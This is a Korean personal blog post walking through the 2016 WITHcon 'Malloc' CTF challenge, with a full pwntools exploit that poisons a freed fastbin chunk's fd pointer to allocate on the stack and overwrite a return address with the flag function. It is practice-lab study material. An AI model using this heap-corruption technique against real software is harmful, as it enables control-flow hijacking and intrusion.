HanJeouk의 개인공부 블로그

2016 WITHcon Malloc

CTF2018. 1. 22. 07:55

어렵지만 익스 코드가 길지 않은 문제다.

문제를 실행하자마자 스택주소를 준다. 그리고 사이즈는 fastbin만 할당이 된다.

스택주소 & fastbin라고 하면 fastbin_dup_into_stack 이 생각나서 쓰면 되지만 나는 그냥 1 과 2를 free 하면 2번에 fd가 생기도록 한 다음에 그 fd를 스택주소 - 0x58을 해준다. (0x58을 해주는 이유는 그 부분에서 입력한 사이즈가 들어가기 때문에 size 다음에 data를 넣으려고 하기 때문이다. 아니면 오류남)

2를 다시 할당하고 또 할당하면 스택주소 - 0x58에 할당하게 된다. 그러면 이제 malloc 다음에 break 주소를 flag 출력 함수로 덮어버리면 된다. (flag 출력함수는 아예 문제에서 준다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
= process("./malloc")
 
def malloc(size,data):
        p.sendlineafter("> ","1")
        p.sendlineafter(":",str(size))
        p.sendafter(": ",data)
 
def free(num):
        p.sendlineafter("> ","2")
        p.sendlineafter(": ",str(num))
 
def list():
        p.sendlineafter(" > ","3")
 
def modify(num,data):
        p.sendlineafter("> ","4")
        p.sendlineafter(": ",str(num))
        p.sendafter(": ",data)
 
print p.recvuntil(" : ")
stack = int(p.recv(14),16)
 
malloc(32,"A"*4)
malloc(32,"B"*4)
 
free(1)
free(2)


print "STACK: "+ hex(stack)
attack = 0x400986
modify(2,p64(stack - 0x58))
malloc(32,"C"*4)
malloc(48,"A"*24+p64(attack))
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25
2016 Hitcon sleepy holder  (0) 2018.01.21
2016 Hitcon secret holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06